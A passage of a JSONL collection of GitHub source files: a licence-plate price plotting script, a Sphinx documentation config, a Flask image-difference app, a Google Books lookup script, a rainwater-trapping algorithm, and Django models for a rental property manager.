+{"seq_id":"14036857253","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec  5 13:54:05 2020\n\n@author: samuel\n\"\"\"\n\nimport numpy\nimport csv\nimport time\nimport datetime\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\n\n# 读取数据时保留第一行的栏位字段\nlicense_data = numpy.genfromtxt('Shanghai_license_plate_price.csv', delimiter=',', names=True)\n\n# 数据文件中包含的不同数据项\nfield = ['Total number of license issued', 'lowest price', 'avg price', 'Total number of applicants']\n\n# 用于调整数据标签在的Y坐标，因为部分数据最后一个值可能比较接近\ny_offsets = {'Total number of license issued': 0, 'lowest price': 1500,\n             'avg price': -1500,\n             'Total number of applicants': 0}\n\n# 获取数据最大值\ny_max = 0\ny_min = numpy.Inf\n\nfor column in field:\n    if column == 'Date':\n        continue\n    column_rec_name = column.replace('\\n', '_').replace(' ', '_')\n    ymax = numpy.amax(license_data[column_rec_name])\n    ymin = numpy.amin(license_data[column_rec_name])\n    if (y_max < ymax):\n        y_max = ymax\n    if (y_min > ymin):\n        y_min = ymin\n\n# 读取CSV文件中第一列的内容，并将其转换为X日期刻度\nwith open('Shanghai_license_plate_price.csv', 'r') as csvfile:\n    reader = csv.reader(csvfile)\n    next(reader)\n    column0 = [row[0] for row in reader]\n\nx= []\nfor t in column0:\n    d = time.strptime(t, \"%b-%y\")      # 将日期字符串转换为时间元组\n    # 将日期时间对象转换为Matplotlib日期后，添加到列表x\n    x.append(mpl.dates.date2num(datetime.datetime(d.tm_year, d.tm_mon, 1))) \n\nfig, ax = plt.subplots(1, 1, figsize=(24, 20))\n\n# 不同数据对应的颜色编码\nax.set_prop_cycle(color=['slateblue', 'red', 'blue', 'black'])\n\n# 删除绘图框线。\nax.spines['top'].set_visible(False)\nax.spines['bottom'].set_visible(False)\nax.spines['right'].set_visible(False)\nax.spines['left'].set_visible(False)\n\n# 确保轴刻度只显示在绘图的底部和左侧。\nax.get_xaxis().tick_bottom()\nax.get_yaxis().tick_left()\n\n#fig.subplots_adjust(left=.06, right=.75, bottom=.02, top=.94)\n\n# 根据日期和数值范围设置X、Y显示范围\nax.set_xlim(x[0], x[-1])\nax.set_ylim(y_min, y_max)\n\n# 去除默认刻度线；对于我们刚刚绘制的刻度线，它们是不必要的。\n#ax.tick_params(axis='both', which='both', labelsize=14,\n#               bottom=False, top=False, labelbottom=True,\n#               left=False, right=False, labelleft=True)\n\nfor column in field:\n    # 把每一条线分别用它自己的颜色画出来。\n    column_rec_name = column.replace('\\n', '_').replace(' ', '_')\n    line, = ax.plot(x, column_rec_name, data=license_data,  lw=1.5)\n    \n    # 在每行的右端添加一个文本标签。\n    y_pos = license_data[column_rec_name][-1]\n    y_max = numpy.amax(license_data[column_rec_name])\n    d = numpy.where(license_data[column_rec_name] == y_max)\n        \n    # 添加特定的偏移量，因为一些标签重叠了。\n    y_pos += y_offsets[column]\n\n    ax.text(x[-1], y_pos, column, fontsize=14, color=line.get_color())\n    for idx in numpy.nditer(d):        \n        ax.annotate('{label} max value'.format(label=column_rec_name), \n                     xy = (x[idx], y_max), \n                     xytext = (x[idx]+500, y_max+3500+y_offsets[column]),\n                     arrowprops = dict(facecolor = line.get_color(), shrink = 0.05))\n    \n\n# X轴刻度以年月的形式显示\nmonthsLoc = mpl.dates.MonthLocator(interval=6)\nmonthsLoc1 = mpl.dates.MonthLocator(interval=2)\nax.xaxis.set_major_locator(monthsLoc)\nax.xaxis.set_minor_locator(monthsLoc1)\nmonthsFmt = mpl.dates.DateFormatter('%Y-%b')\nax.xaxis.set_major_formatter(monthsFmt)\nfig.autofmt_xdate(bottom=0.18)\nfig.subplots_adjust(left=0.18)\n#plt.savefig('Shgh_car_licence_price.png')\n\n# 定义坐标系大小\nleft, width = 0.1, 0.65\nbottom, height = 0.1, 0.65\nspacing = 0.005\nrect_scatter = [left, bottom, width, height]\nrect_histx = [left, bottom + height + spacing, width, 0.2]\nrect_histy = [left + width + spacing, bottom, 0.2, height]\n\n# 创建正方形绘图\nfig = plt.figure(figsize=(16, 16))\n\n# 在绘图上划分坐标系\nax = fig.add_axes(rect_scatter)\nax_histx = fig.add_axes(rect_histx, sharex=ax)\nax_histy = fig.add_axes(rect_histy, sharey=ax)\n\n# 坐标系相邻的区域不显示刻度\nax_histx.tick_params(axis=\"x\", labelbottom=False)\nax_histy.tick_params(axis=\"y\", labelleft=False)\n\ncount = license_data.size\navg_mean = int(numpy.mean(license_data['avg_price'])/1000)\navg_median = int(numpy.median(license_data['avg_price'])/1000)\navg_min = int(numpy.min(license_data['avg_price'])/1000)\navg_max = int(numpy.max(license_data['avg_price'])/1000)\navg_25p, avg_50p, avg_75p = (numpy.percentile(\n    license_data['lowest_price'], [25, 50, 75])/1000).astype(int)\n\nlowest_mean = int(numpy.mean(license_data['lowest_price'])/1000)\nlowest_median = int(numpy.median(license_data['lowest_price'])/1000)\nlowest_min = int(numpy.min(license_data['lowest_price'])/1000)\nlowest_max = int(numpy.max(license_data['lowest_price'])/1000)\nlowest_25p, lowest_50p, lowest_75p = (numpy.percentile(\n    license_data['lowest_price'], [25, 50, 75])/1000).astype(int)\ncorr = numpy.corrcoef(license_data['lowest_price'],\n                      license_data['avg_price'])\n# 绘图\nax.scatter(license_data['avg_price'], license_data['lowest_price'])\nax.text(20000, 80000, 'PPCs: {}'.format(corr[0][1]), style='italic',\n        bbox={'facecolor': 'lightblue', 'alpha': 0.5, 'pad': 10})\n\nax_histx.hist(license_data['avg_price'], bins=20)\nax_histx.set_title('average price')\ntext = 'Mean: {}k \\nMax: {}k\\nMedian: \\\n       {}k\\n25%: {}k\\n50%: {}k\\n75%: {}k'.format(avg_mean, avg_max, \n                     avg_median, avg_25p, avg_50p, avg_75p)\nax_histx.text(50000, 15, text, style='italic',\n        bbox={'facecolor': 'lightblue', 'alpha': 0.5, 'pad': 10})\nax_histy.hist(license_data['lowest_price'],orientation='horizontal')\nax_histy.set_title('lowest price')\ntext = 'Mean: {}k \\nMax: {}k\\nMedian: \\\n       {}k\\n25%: {}k\\n50%: {}k\\n75%: {}k'.format(lowest_mean, lowest_max, \n                     lowest_median, lowest_25p,\n                     lowest_50p, lowest_75p)\nax_histy.text(25, 55000, text, style='italic',\n        bbox={'facecolor': 'lightblue', 'alpha': 0.5, 'pad': 10})\n#plt.savefig('Shgh_car_licence_avg_lowest_correlation.png')\n\nplt.show()","repo_name":"samuelzq/python_math","sub_path":"ch09/Shanghai_license_plate_price.py","file_name":"Shanghai_license_plate_price.py","file_ext":"py","file_size_in_byte":6343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70155446273","text":"#\n# Configuration file for the Sphinx documentation builder.\n#\n# This file does only contain a selection of the most common options. For a\n# full list see the documentation:\n# http://www.sphinx-doc.org/en/master/config\n\n# -- Path setup --------------------------------------------------------------\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n\nimport glob\nimport os\nimport shutil\nimport sys\nfrom importlib.util import module_from_spec, spec_from_file_location\n\nimport lightning.pytorch  # noqa: F401 workaround for TypeError on sphinx import\nimport pt_lightning_sphinx_theme\n\nPATH_HERE = os.path.abspath(os.path.dirname(__file__))\nPATH_ROOT = os.path.join(PATH_HERE, \"..\", \"..\")\nsys.path.insert(0, os.path.abspath(os.path.join(PATH_ROOT, \"src\")))\n\n\nFOLDER_GENERATED = \"generated\"\nSPHINX_MOCK_REQUIREMENTS = int(os.environ.get(\"SPHINX_MOCK_REQUIREMENTS\", True))\n\nspec = spec_from_file_location(\n    \"src/finetuning_scheduler/__about__.py\", os.path.join(PATH_ROOT, \"src\", \"finetuning_scheduler\", \"__about__.py\")\n)\nabout = module_from_spec(spec)\nspec.loader.exec_module(about)\n\n\ndef _transform_changelog(path_in: str, path_out: str) -> None:\n    with open(path_in) as fp:\n        chlog_lines = fp.readlines()\n    # enrich short subsub-titles to be unique\n    chlog_ver = \"\"\n    for i, ln in enumerate(chlog_lines):\n        if ln.startswith(\"## \"):\n            chlog_ver = ln[2:].split(\"-\")[0].strip()\n        elif ln.startswith(\"### \"):\n            ln = ln.replace(\"###\", f\"### {chlog_ver} -\")\n            chlog_lines[i] = ln\n    with open(path_out, \"w\") as fp:\n        fp.writelines(chlog_lines)\n\n\nos.makedirs(os.path.join(PATH_HERE, FOLDER_GENERATED), exist_ok=True)\n# copy all documents from GH templates like contribution guide\nfor md in glob.glob(os.path.join(PATH_ROOT, \".github\", \"*.md\")):\n    shutil.copy(md, os.path.join(PATH_HERE, FOLDER_GENERATED, os.path.basename(md)))\n# copy also the changelog\n_transform_changelog(os.path.join(PATH_ROOT, \"CHANGELOG.md\"), os.path.join(PATH_HERE, FOLDER_GENERATED, \"CHANGELOG.md\"))\n\n# -- Project information -----------------------------------------------------\n\nproject = \"Fine-Tuning Scheduler\"\ncopyright = about.__copyright__\nauthor = about.__author__\n\n# The short X.Y version\nversion = about.__version__\n# The full version, including alpha/beta/rc tags\nrelease = about.__version__\n\n# -- General configuration ---------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n\nneeds_sphinx = \"4.0\"\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n    \"sphinx.ext.autodoc\",\n    \"sphinx.ext.doctest\",\n    \"sphinx.ext.intersphinx\",\n    \"sphinx.ext.todo\",\n    \"sphinx.ext.coverage\",\n    \"sphinx.ext.viewcode\",\n    \"sphinx.ext.autosummary\",\n    \"sphinx.ext.napoleon\",\n    \"sphinx.ext.imgmath\",\n    \"sphinx.ext.autosectionlabel\",\n    \"myst_parser\",\n    \"nbsphinx\",\n    \"sphinx_autodoc_typehints\",\n    \"sphinx_copybutton\",\n    \"sphinx_paramlinks\",\n    \"sphinx_togglebutton\",\n]\n\n# Suppress warnings about duplicate labels (needed for PL tutorials)\nsuppress_warnings = [\n    \"autosectionlabel.*\",\n]\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = [\"_templates\"]\n\nnbsphinx_execute = \"never\"\nnbsphinx_allow_errors = True\nnbsphinx_requirejs_path = \"\"\n\n# myst-parser, forcing to parse all html pages with mathjax\n# https://github.com/executablebooks/MyST-Parser/issues/394\nmyst_update_mathjax = False\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n#\nsource_parsers = {\".rst\": \"restructuredtext\", \".txt\": \"markdown\", \".md\": \"markdown\", \".ipynb\": \"nbsphinx\"}\n\n# The master toctree document.\nmaster_doc = \"index\"\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = None\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\nexclude_patterns = [\n    f\"{FOLDER_GENERATED}/PULL_REQUEST_TEMPLATE.md\",\n    # \"notebooks/sample-template*\",\n]\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = None\n\nrst_prolog = \"\"\"\n.. include:: /_static/fts_cust_roles.rst\n\"\"\"\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages.  See the documentation for\n# a list of builtin themes.\n# http://www.sphinx-doc.org/en/master/usage/theming.html#builtin-themes\n# html_theme = 'bizstyle'\n# https://sphinx-themes.org\nhtml_theme = \"pt_lightning_sphinx_theme\"\nhtml_theme_path = [pt_lightning_sphinx_theme.get_html_theme_path()]  # comment to test local theme\n# html_theme_path = [\"../../../lightning_sphinx_theme\"]  # uncomment to test local theme\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further.  For a list of options available for each theme, see the\n# documentation.\n\nhtml_theme_options = {\n    \"pytorch_project\": \"https://finetuning-scheduler.readthedocs.io\",\n    \"canonical_url\": about.__docs_url__,\n    \"collapse_navigation\": False,\n    \"display_version\": True,\n    \"logo_only\": False,\n}\n\nhtml_logo = \"_static/images/logos/logo_fts.svg\"\n\nhtml_favicon = \"_static/images/logos/icon_fts.svg\"\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = [\"_templates\", \"_static\"]\n\n# Custom sidebar templates, must be a dictionary that maps document names\n# to template names.\n#\n# The default sidebars (for documents that don't match any pattern) are\n# defined by theme itself.  Builtin themes are using these templates by\n# default: ``['localtoc.html', 'relations.html', 'sourcelink.html',\n# 'searchbox.html']``.\n#\n# html_sidebars = {}\n\n# -- Options for HTMLHelp output ---------------------------------------------\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = project + \"-doc\"\n\n# -- Options for LaTeX output ------------------------------------------------\n\nlatex_elements = {\n    # The paper size ('letterpaper' or 'a4paper').\n    # 'papersize': 'letterpaper',\n    # The font size ('10pt', '11pt' or '12pt').\n    # 'pointsize': '10pt',\n    # Additional stuff for the LaTeX preamble.\n    # 'preamble': '',\n    # Latex figure (float) alignment\n    \"figure_align\": \"htbp\"\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n#  author, documentclass [howto, manual, or own class]).\nlatex_documents = [(master_doc, project + \".tex\", project + \" Documentation\", author, \"manual\")]\n\n# -- Options for manual page output ------------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [(master_doc, project, project + \" Documentation\", [author], 1)]\n\n# -- Options for Texinfo output ----------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n#  dir menu entry, description, category)\ntexinfo_documents = [\n    (\n        master_doc,\n        project,\n        project + \" Documentation\",\n        author,\n        project,\n        \"One line description of project.\",\n        \"Miscellaneous\",\n    )\n]\n\n# -- Options for Epub output -------------------------------------------------\n\n# Bibliographic Dublin Core info.\nepub_title = project\n\n# The unique identifier of the text. This can be a ISBN number\n# or the project homepage.\n#\n# epub_identifier = ''\n\n# A unique identification for the text.\n#\n# epub_uid = ''\n\n# A list of files that should not be packed into the epub file.\nepub_exclude_files = [\"search.html\"]\n\n# -- Extension configuration -------------------------------------------------\n\n# -- Options for intersphinx extension ---------------------------------------\n\nintersphinx_mapping = {\n    \"python\": (\"https://docs.python.org/3\", None),\n    \"torch\": (\"http://pytorch.org/docs/stable/\", None),\n    \"numpy\": (\"https://numpy.org/doc/stable/\", None),\n    \"pl\": (\"https://pytorch-lightning.readthedocs.io/en/latest/\", None),\n}\n\n# -- Options for todo extension ----------------------------------------------\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = True\n\n\ndef setup(app):\n    # this is for hiding doctest decoration,\n    # see: http://z4r.github.io/python/2011/12/02/hides-the-prompts-and-output/\n    app.add_js_file(\"copybutton.js\")\n    app.add_css_file(\"main.css\")\n    app.add_css_file(\"fts_cust_roles.css\")\n\n\n# Ignoring Third-party packages\n# https://stackoverflow.com/questions/15889621/sphinx-how-to-exclude-imports-in-automodule\ndef package_list_from_file(file):\n    \"\"\"List up package name (not containing version and extras) from a package list file.\"\"\"\n    mocked_packages = []\n    with open(file) as fp:\n        for ln in fp.readlines():\n            # Example: `tqdm>=4.41.0` => `tqdm`\n            # `[` is for package with extras\n            found = [ln.index(ch) for ch in list(\",=<>#[\") if ch in ln]\n            pkg = ln[: min(found)] if found else ln\n            if pkg.rstrip():\n                mocked_packages.append(pkg.rstrip())\n    return mocked_packages\n\n\n# define mapping from PyPI names to python imports\nPACKAGE_MAPPING = {\n    \"PyYAML\": \"yaml\",\n    \"pyDeprecate\": \"deprecate\",\n}\nMOCK_PACKAGES = []\nif SPHINX_MOCK_REQUIREMENTS:\n    MOCK_PACKAGES += [\"torchmetrics\"]\n    # mock also base packages when we are on RTD since we don't install them there\n    MOCK_PACKAGES += package_list_from_file(os.path.join(PATH_ROOT, \"requirements\", \"base.txt\"))\n    MOCK_PACKAGES += package_list_from_file(os.path.join(PATH_ROOT, \"requirements\", \"extra.txt\"))\nMOCK_PACKAGES = [PACKAGE_MAPPING.get(pkg, pkg) for pkg in MOCK_PACKAGES]\nautodoc_mock_imports = MOCK_PACKAGES\n\nautosummary_generate = True\n\nautodoc_member_order = \"groupwise\"\n\nautoclass_content = \"both\"\n\nautodoc_default_options = {\n    \"members\": True,\n    \"methods\": True,\n    \"special-members\": \"__call__\",\n    \"exclude-members\": \"_abc_impl\",\n    \"show-inheritance\": True,\n}\n\n# Sphinx will add “permalinks” for each heading and description environment as paragraph signs that\n#  become visible when the mouse hovers over them.\n# This value determines the text for the permalink; it defaults to \"¶\". Set it to None or the empty\n#  string to disable permalinks.\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#confval-html_add_permalinks\nhtml_permalinks = True\nhtml_permalinks_icon = \"¶\"\n\n# True to prefix each section label with the name of the document it is in, followed by a colon.\n#  For example, index:Introduction for a section called Introduction that appears in document index.rst.\n#  Useful for avoiding ambiguity when the same section heading appears in different documents.\n# http://www.sphinx-doc.org/en/master/usage/extensions/autosectionlabel.html\nautosectionlabel_prefix_document = True\n\n# only run doctests marked with a \".. doctest::\" directive\ndoctest_test_doctest_blocks = \"\"\ndoctest_global_setup = \"\"\"\nimport importlib\nimport os\nimport sys\nfrom typing import Optional\n\nimport torch\nimport lightning.pytorch as pl\nfrom torch import nn\nfrom torch.utils.data import IterableDataset, DataLoader, Dataset\nfrom lightning.pytorch import LightningDataModule, LightningModule, Trainer, seed_everything\nfrom lightning.pytorch.callbacks import Callback\nfrom lightning.pytorch.cli import _JSONARGPARSE_SIGNATURES_AVAILABLE as _JSONARGPARSE_AVAILABLE\nfrom lightning.pytorch.utilities import (\n    _TORCHVISION_AVAILABLE,\n)\n\"\"\"\ncoverage_skip_undoc_in_source = True\n","repo_name":"speediedan/finetuning-scheduler","sub_path":"docs/source/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":12247,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"60"}
+{"seq_id":"44514621890","text":"import os\nimport urllib.request\nfrom flask import Flask, flash, request, redirect, url_for, render_template\nfrom werkzeug.utils import secure_filename\nimport cv2\nimport numpy as np\n\nUPLOAD_FOLDER = 'static/uploads/'\n\napp = Flask(__name__)\napp.secret_key = \"secret key\"\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])\n\n\ndef allowed_file(filename):\n    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\n@app.route('/')\ndef upload_form():\n    return render_template('upload.html')\n\n\n@app.route('/', methods=['POST'])\ndef upload_image():\n    if 'files[]' not in request.files:\n        flash('No file part')\n        return redirect(request.url)\n    files = request.files.getlist('files[]')\n    file_names = []\n    img_to_compare_names = []\n    for file in files:\n        if file and allowed_file(file.filename):\n            filename = secure_filename(file.filename)\n            file_names.append(filename)\n            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n            img_to_compare_names.append('static/uploads/'+file.filename)\n    img1 = cv2.imread(img_to_compare_names[0])\n    img2 = cv2.imread(img_to_compare_names[1])\n    width, height = 500, 500  # set the desired width and height\n    img1 = cv2.resize(img1, (width, height))\n    img2 = cv2.resize(img2, (width, height))\n    # convert the images to grayscale\n    gray1 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)\n    gray2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)\n\n    # compute the absolute difference between the images\n    diff = cv2.absdiff(gray1, gray2)\n\n    # threshold the difference image to binary\n    thresh_value = 50\n    _, thresh = cv2.threshold(diff, thresh_value, 255, cv2.THRESH_BINARY)\n\n    # find contours in the thresholded image\n    contours, hierarchy = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n    # draw rectangles around the contours\n    for contour in contours:\n        if cv2.contourArea(contour) < 25:\n            continue\n        (x, y, w, h) = cv2.boundingRect(contour)\n        cv2.rectangle(img1, (x, y), (x + w, y + h), (255, 0, 0), 2)\n        cv2.rectangle(img2, (x, y), (x + w, y + h), (255, 0, 0), 2)\n\n    Hori = np.concatenate((img1, img2), axis=1)\n\n    path_of_res = 'static/results'\n    dir_list = os.listdir(path_of_res)\n    if len(dir_list) == 0:\n        new_name_res = \"result1.jpg\"\n    elif len(dir_list) == 1:\n        new_name_res = \"result2.jpg\"\n    else:\n        new_name_res = \"result\"+str(len(dir_list)+1)+'.jpg'\n\n    cv2.imwrite(\"static/results/\"+new_name_res, Hori)\n    print(file_names)\n    return render_template('upload.html', filenames=[new_name_res])\n\n\n@app.route('/display/<filename>')\ndef display_result(filename):\n    # print('display_image filename: ' + filename)\n    return redirect(url_for('static', filename='results/' + filename), code=301)\n\n\nif __name__ == \"__main__\":\n    app.run()","repo_name":"hungTrinh173305/Images-components-comparing-API","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24121430610","text":"# \"ディープラーニング\"でタイトル検索して結果を受け取る\nimport requests\nimport json\n\nbase_url = \"https://www.googleapis.com/books/v1/volumes\"\n\nBookInfo = {\"title\":\"\", \"description\":\"\", \"author\":\"\", \"image_url\":\"\"}\n\n\ndef search_Books(number):\n    params = {\n        \"q\": f\"isbn:{number}\", # intitleで本のタイトルから検索\n        \"printType\": \"books\",\n        \"maxResults\": 5\n    }\n    response = requests.get(base_url, params=params)\n\n    if response.status_code == 200:\n        results = json.loads(response.text)\n    else:\n        results = None\n\n    # 最初の5冊の情報を表示\n    for i, item in enumerate(results[\"items\"][:5]):\n        BookInfo[\"title\"] = item['volumeInfo']['title']\n        BookInfo[\"description\"] = item['volumeInfo'].get('description', [''])\n        authors = item['volumeInfo'].get('authors', [''])\n        \n        if authors == \"\":\n            BookInfo[\"author\"] = item['volumeInfo'].get('publisher', [''])\n        else:\n            author_result = authors[0]\n            if len(authors) > 2:\n                author_result = '/'.join(authors)\n            BookInfo[\"author\"] = author_result\n        \n        img_url = item['volumeInfo']['imageLinks'].get('smallThumbnail', [''])\n        if img_url == '':\n            BookInfo.pop(\"image_url\")\n        else:\n            BookInfo[\"image_url\"] = img_url\n        # print(f\"Title: {item['volumeInfo']['title']}\")\n        # print(f\"Authors: {item['volumeInfo'].get('authors', ['N/A'])}\")\n    \n    # print(BookInfo)\n    return BookInfo\n\n\n# search_Books(9784844365174)\n\n# タイトル、説明、画像URL、著者\n# 説明は空でも返す\n# 画像はなくてもいい\n# 著者は1つの文字列、なければ出版社、それもなければから文字列\n# BookInfo = {\n#   title: string;\n#   description: string;\n#   author: string;\n#   image_url?: string;\n# };\n","repo_name":"jphacks/NG_2312","sub_path":"python-function/ba-code/bookAPI.py","file_name":"bookAPI.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"9003114126","text":"# 0 1 0 2 1 0 3 1 0 1 2\n#\n#     #       #\n#   # #   # #   # #\n# # # # # # # # # # # #\n\n\ndef trappingRainwater(arr: list[int]):\n    total_water = 0\n    n = len(arr)\n    for i in range(n):\n        p1, p2 = i, i\n        max_left, max_right = 0, 0\n        while p1 >= 0:\n            max_left = max(max_left, arr[p1])\n            p1 = p1 - 1\n        while p2 < n:\n            max_right = max(max_right, arr[p2])\n            p2 = p2 + 1\n        current_water = min(max_left, max_right) - arr[i]\n        if current_water > 0:\n            total_water = total_water + current_water\n    return total_water\n\n\nprint(trappingRainwater([0, 1, 0, 2, 1, 0, 3, 1, 0, 1, 2]))\n","repo_name":"Raghavs26/master-the-coding-interview","sub_path":"1. Arrays/3. Trapping Rainwater/trapping-rainwater-brute-force.py","file_name":"trapping-rainwater-brute-force.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36224935056","text":"# vim: ai ts=4 sts=4 et sw=4\nfrom django.db import models\nfrom django.db.models import Max\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.core.validators import MinValueValidator, ValidationError\nfrom datetime import date\nfrom calendar import monthrange\nfrom collections import namedtuple, deque\nimport itertools\nfrom operator import attrgetter\nfrom django.forms import Textarea\nfrom decimal import Decimal\n\n\nclass Building(models.Model):\n    name = models.CharField(_(\"name\"), max_length=255)\n    notes = models.TextField(_(\"notes\"), blank=True)\n\n    class Meta:\n        verbose_name = _(\"building\")\n        verbose_name_plural = _(\"buildings\")\n        ordering = ['name']\n\n    def __unicode__(self):\n        return self.name\n\n    def property_count(self):\n        return self.property_set.count()\n\n    property_count.short_description = _(\"number of properties\")\n\n\nclass BuildingFile(models.Model):\n    building = models.ForeignKey(\n        Building, verbose_name=Building._meta.verbose_name)\n    name = models.CharField(_(\"name\"), max_length=255)\n    file = models.FileField(_('file'), upload_to='building')\n\n    class Meta:\n        verbose_name = _(\"file\")\n\n    def __unicode__(self):\n        return self.name\n\n\nclass Property(models.Model):\n    name = models.CharField(_(\"name\"), max_length=255)\n    building = models.ForeignKey(\n        Building,\n        verbose_name=Building._meta.verbose_name,\n        blank=True, null=True, on_delete=models.PROTECT)\n    address = models.TextField(_(\"address\"))\n    notes = models.TextField(_(\"notes\"), blank=True)\n    area = models.DecimalField(\n        _(\"surface area\"), max_digits=7, decimal_places=2,\n        validators=[MinValueValidator(0)])\n    rooms = models.DecimalField(\n        _(\"number of rooms\"), max_digits=2, decimal_places=0,\n        validators=[MinValueValidator(1)])\n\n    class Meta:\n        verbose_name = _(\"property\")\n        verbose_name_plural = _(\"properties\")\n        ordering = ['name']\n\n    def __unicode__(self):\n        return u'{}\\n{}'.format(self.name, self.address)\n\n\nclass PropertyFile(models.Model):\n    property = models.ForeignKey(\n        Property, verbose_name=Property._meta.verbose_name)\n    name = models.CharField(_(\"name\"), max_length=255)\n    file = models.FileField(_('file'), upload_to='property')\n\n    class Meta:\n        verbose_name = _(\"file\")\n        verbose_name_plural = _(\"files\")\n\n    def __unicode__(self):\n        return self.name\n\n\ndef validate_month(value):\n    if value is not None and value.day != 1:\n        raise ValidationError(\n            _(\"month expected. Please use first day of the month\"))\n\n\nclass Tenant(models.Model):\n    property = models.ForeignKey(\n        Property,\n        verbose_name=Property._meta.verbose_name,\n        on_delete=models.PROTECT)\n    name = models.CharField(_(\"name\"), max_length=255)\n    tenancy_begin_date = models.DateField(\n        _(\"tenancy begin date\"))\n    tenancy_end_date = models.DateField(\n        _(\"tenancy end date\"), blank=True, null=True)\n    deposit = models.DecimalField(\n        _(\"deposit\"), max_digits=7, decimal_places=2,\n        help_text=_(\n            'A sum of money asked to tenant on day 1. '\n            'It is payed back in full on the final day of the tenancy'),\n        validators=[MinValueValidator(0)], default=0)\n    contact_info = models.TextField(_(\"contact info\"), blank=True)\n    notes = models.TextField(_(\"notes\"), blank=True)\n\n    def cashflows(self, date_until=None):\n        if date_until is None:\n            date_until = date.today()\n        rents = revisions_to_cashflows(\n            date_until, self.rentrevision_set.all())\n        payments = payments_to_cashflows(\n            date_until, self.payment_set.all(), Payment)\n        refunds = payments_to_cashflows(\n            date_until, self.refund_set.all(), Refund, negate=True)\n        discounts = payments_to_cashflows(\n            date_until, self.discount_set.all(), Discount)\n        fees = payments_to_cashflows(\n            date_until, self.fee_set.all(), Fee, negate=True)\n        deposit_cashflows = self.deposit_cashflows(date_until)\n        non_sorted = itertools.chain.from_iterable([\n            payments, refunds, rents, fees, discounts, deposit_cashflows])\n        date_sorted = sorted(non_sorted, key=attrgetter('date', 'amount'))\n        result = []\n        balance = 0\n        for c in date_sorted:\n            balance += c.amount\n            result.append(\n                CashflowAndBalance(c.date, c.amount, c.description, balance))\n        return reversed(result)\n\n    def deposit_cashflows(self, date_until):\n        result = [Cashflow(\n            self.tenancy_begin_date, -self.deposit, _('deposit'))]\n        if self.has_left(date_until):\n            result.append(Cashflow(\n                self.tenancy_end_date, self.deposit, _('deposit refund')))\n        return result\n\n    def trend(self):\n        return moving_average(date.today(), list(self.cashflows()), 3)\n\n    def balance(self):\n        return sum([c.amount for c in self.cashflows()])\n\n    def has_left(self, date_until=None):\n        if date_until is None:\n            date_until = date.today()\n        return (\n            self.tenancy_end_date is not None\n            and date_until > self.tenancy_end_date)\n\n    def rent(self):\n        query_set = self.rentrevision_set.all()\n        result = query_set.aggregate(Max('rent'))['rent__max']\n        if result is None:\n            result = 0\n        return result\n\n# Translators: This is the balance of the tenant's payments\n    balance.short_description = _(\"balance\")\n\n    def expired_reminders_count(self):\n        return (\n            self.reminder_set\n            .filter(read=False)\n            .filter(date__lte=date.today())\n            .count())\n\n    def pending_reminders_count(self):\n        return (\n            self.reminder_set\n            .filter(read=False)\n            .count())\n\n    class Meta:\n        verbose_name = _(\"tenant\")\n        verbose_name_plural = _(\"tenants\")\n        ordering = ['tenancy_end_date', 'name']\n\n    def __unicode__(self):\n        return u\"{} {}\".format(self.name, self.property)\n\n\nclass TenantFile(models.Model):\n    tenant = models.ForeignKey(Tenant, verbose_name=Tenant._meta.verbose_name)\n    name = models.CharField(_(\"name\"), max_length=255)\n    file = models.FileField(_('file'), upload_to='tenant')\n\n    class Meta:\n        verbose_name = _(\"file\")\n        verbose_name_plural = _(\"files\")\n\n    def __unicode__(self):\n        return self.name\n\n\nclass Reminder(models.Model):\n    tenant = models.ForeignKey(Tenant, verbose_name=Tenant._meta.verbose_name)\n    date = 